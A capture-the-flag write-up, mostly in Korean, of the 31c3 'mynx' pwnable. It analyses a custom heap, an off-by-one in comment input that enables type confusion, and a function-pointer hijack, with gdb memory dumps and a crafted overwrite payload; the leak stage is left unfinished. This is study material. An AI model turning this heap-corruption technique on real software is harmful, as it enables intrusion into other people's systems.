A writeup for mynx challenge from 31c3 CTF. Have fun :)

mynx

Category: pwnable
Points: 30
Type: Off-by-One, Custom Heap Implementation
Description:

mynx running on 188.40.18.80 1234

Custom Heap Implementation

전역변수 형태로 정의되어 있는 heapTable@0x0804A900chunkCntTable@0x0804A904idxCnt@0x0804A940가 Heap Management를 수행하는데 사용된다. heapTable의 경우 4096(0x1000)byte만큼 할당되는 메모리 블록들의 포인터 배열이며, 각각의 메모리 블록들은 256(0x100)byte 단위(chunk라 하자)로 16등분되어 사용된다. 그리고 chunkCntTable은 앞에 선언된 heapTable에 존재하는 chunk의 개수를 저장하고 있다. 만약 16개가 넘는다면 out-of-memory 에러를 출력하도록 되어있다. idxCnt는 이후에 저장되는 ascii_art 혹은 comment 의 id값을 저장하기 위한 변수이다. 해당 바이너리에서 사용되는 구조체는 크게 2가지 유형이 있다.

1
2
3
4
5
6
struct ascii_art {
  char type; // 0x49 : ascii_art
  int id;
  void (*filter_method)(char * content);
  char content[247];
}
1
2
3
4
5
struct comment {
  char type; // 0x37 : comment
  int id;
  char comment[251];
}

두 구조체의 크기는 256(0x100)byte로 동일하다. 즉, 메모리 블록내에 256byte 단위로 존재하는 chunk만큼 할당이 되는 것이다.

Vulnerability

취약점은 addComment@0x08048CE3함수에 존재한다. addAsciiart@0x08048D8B의 경우 read() 함수로 입력받을 때, 247byte 만큼만 받는다. 하지만, addComment의 경우 할당된 크기(251byte)보다 1byte 더 크게 입력 받는다. 즉, 여기서 Off-by-One 취약점이 발생한다. 이는 절묘하게도 다음 chunk의 type값을 덮어쓸 수 있고, 결국 Type Confusion 취약점으로 연계될 수 있다.

Debugging

(1) add ascii_art A1(0x804b008) - AAAA

(2) add ascii_art A2(0x804b108) - BBBB

(3) add comment(C1:0x804b208) to A1 - aaaa

(4) add comment(C2:0x804b308) to A2 - bbbb

1
2
3
4
5
6
7
8
9
10
11
12
gdb-peda$ x/8wx 0x0804b008
0x804b008:	0x00000149	0x048c2b00	0x41414108	0x00000a41
0x804b018:	0x00000000	0x00000000	0x00000000	0x00000000
gdb-peda$ x/8wx 0x0804b108
0x804b108:	0x00000249	0x048c2b00	0x42424208	0x00000a42
0x804b118:	0x00000000	0x00000000	0x00000000	0x00000000
gdb-peda$ x/8wx 0x0804b208
0x804b208:	0x00000137	0x61616100	0x00000a61	0x00000000
0x804b218:	0x00000000	0x00000000	0x00000000	0x00000000
gdb-peda$ x/8wx 0x0804b308
0x804b308:	0x00000237	0x62626200	0x00000a62	0x00000000
0x804b318:	0x00000000	0x00000000	0x00000000	0x00000000

(5) add ascii_art A3(0x804b408) - CCCC (6) delete comment(C2:0x804b308)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ x/8wx 0x0804b008
0x804b008:	0x00000149	0x048c2b00	0x41414108	0x00000a41
0x804b018:	0x00000000	0x00000000	0x00000000	0x00000000
gdb-peda$ x/8wx 0x0804b108
0x804b108:	0x00000249	0x048c2b00	0x42424208	0x00000a42
0x804b118:	0x00000000	0x00000000	0x00000000	0x00000000
gdb-peda$ x/8wx 0x0804b208
0x804b208:	0x00000137	0x61616100	0x00000a61	0x00000000
0x804b218:	0x00000000	0x00000000	0x00000000	0x00000000
gdb-peda$ x/8wx 0x0804b308
0x804b308:	0x00000200	0x62626200	0x00000a62	0x00000000
0x804b318:	0x00000000	0x00000000	0x00000000	0x00000000
gdb-peda$ x/8wx 0x0804b408
0x804b408:	0x00000349	0x048c2b00	0x43434308	0x00000a43
0x804b418:	0x00000000	0x00000000	0x00000000	0x00000000

(7) add comment(C3:0x804b308) to A3 - cccc ; it will put in C2(0x804b308)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ x/8wx 0x0804b008
0x804b008:	0x00000149	0x048c2b00	0x41414108	0x00000a41
0x804b018:	0x00000000	0x00000000	0x00000000	0x00000000
gdb-peda$ x/8wx 0x0804b108
0x804b108:	0x00000249	0x048c2b00	0x42424208	0x00000a42
0x804b118:	0x00000000	0x00000000	0x00000000	0x00000000
gdb-peda$ x/8wx 0x0804b208
0x804b208:	0x00000137	0x61616100	0x00000a61	0x00000000
0x804b218:	0x00000000	0x00000000	0x00000000	0x00000000
gdb-peda$ x/8wx 0x0804b308
0x804b308:	0x00000337	0x63636300	0x00000a63	0x00000000
0x804b318:	0x00000000	0x00000000	0x00000000	0x00000000
gdb-peda$ x/8wx 0x0804b408
0x804b408:	0x00000349	0x048c2b00	0x43434308	0x00000a43
0x804b418:	0x00000000	0x00000000	0x00000000	0x00000000

(8) delete comment(C1:0x0804b208)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ x/8wx 0x0804b008
0x804b008:	0x00000149	0x048c2b00	0x41414108	0x00000a41
0x804b018:	0x00000000	0x00000000	0x00000000	0x00000000
gdb-peda$ x/8wx 0x0804b108
0x804b108:	0x00000249	0x048c2b00	0x42424208	0x00000a42
0x804b118:	0x00000000	0x00000000	0x00000000	0x00000000
gdb-peda$ x/8wx 0x0804b208
0x804b208:	0x00000100	0x61616100	0x00000a61	0x00000000
0x804b218:	0x00000000	0x00000000	0x00000000	0x00000000
gdb-peda$ x/8wx 0x0804b308
0x804b308:	0x00000337	0x63636300	0x00000a63	0x00000000
0x804b318:	0x00000000	0x00000000	0x00000000	0x00000000
gdb-peda$ x/8wx 0x0804b408
0x804b408:	0x00000349	0x048c2b00	0x43434308	0x00000a43
0x804b418:	0x00000000	0x00000000	0x00000000	0x00000000

(9) add comment(C2) to A2 - “b”*0xfb + “\x49” ; it will put in C1(0x0804b208) and overwrite C3(0x804b308)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
gdb-peda$ x/8wx 0x0804b008
0x804b008:	0x00000149	0x048c2b00	0x41414108	0x00000a41
0x804b018:	0x00000000	0x00000000	0x00000000	0x00000000
gdb-peda$ x/8wx 0x0804b108
0x804b108:	0x00000249	0x048c2b00	0x42424208	0x00000a42
0x804b118:	0x00000000	0x00000000	0x00000000	0x00000000
gdb-peda$ x/8wx 0x0804b208
0x804b208:	0x00000237	0x62626200	0x62626262	0x62626262
0x804b218:	0x62626262	0x62626262	0x62626262	0x62626262
gdb-peda$ x/8wx 0x0804b308
0x804b308:	0x00000349	0x63636300	0x00000a63	0x00000000
0x804b318:	0x00000000	0x00000000	0x00000000	0x00000000
gdb-peda$ x/8wx 0x0804b408
0x804b408:	0x00000349	0x048c2b00	0x43434308	0x00000a43
0x804b418:	0x00000000	0x00000000	0x00000000	0x00000000

gdb-peda$ x/65wx 0x0804b208
0x804b208:	0x00000237	0x62626200	0x62626262	0x62626262
0x804b218:	0x62626262	0x62626262	0x62626262	0x62626262
0x804b228:	0x62626262	0x62626262	0x62626262	0x62626262
0x804b238:	0x62626262	0x62626262	0x62626262	0x62626262
0x804b248:	0x62626262	0x62626262	0x62626262	0x62626262
0x804b258:	0x62626262	0x62626262	0x62626262	0x62626262
0x804b268:	0x62626262	0x62626262	0x62626262	0x62626262
0x804b278:	0x62626262	0x62626262	0x62626262	0x62626262
0x804b288:	0x62626262	0x62626262	0x62626262	0x62626262
0x804b298:	0x62626262	0x62626262	0x62626262	0x62626262
0x804b2a8:	0x62626262	0x62626262	0x62626262	0x62626262
0x804b2b8:	0x62626262	0x62626262	0x62626262	0x62626262
0x804b2c8:	0x62626262	0x62626262	0x62626262	0x62626262
0x804b2d8:	0x62626262	0x62626262	0x62626262	0x62626262
0x804b2e8:	0x62626262	0x62626262	0x62626262	0x62626262
0x804b2f8:	0x62626262	0x62626262	0x62626262	0x62626262
0x804b308:	0x00000349

EIP Control

실행흐름을 바꾸기 위해서는 여러가지 방법이 존재하지만 여기서는 고맙게도 함수 포인터(Function Pointer)가 존재한다. function_ptr 심지어 인자 값까지 컨트롤 가능하므로 완벽한 취약점 조건이 된다.

Constructing an Information Leak

TBA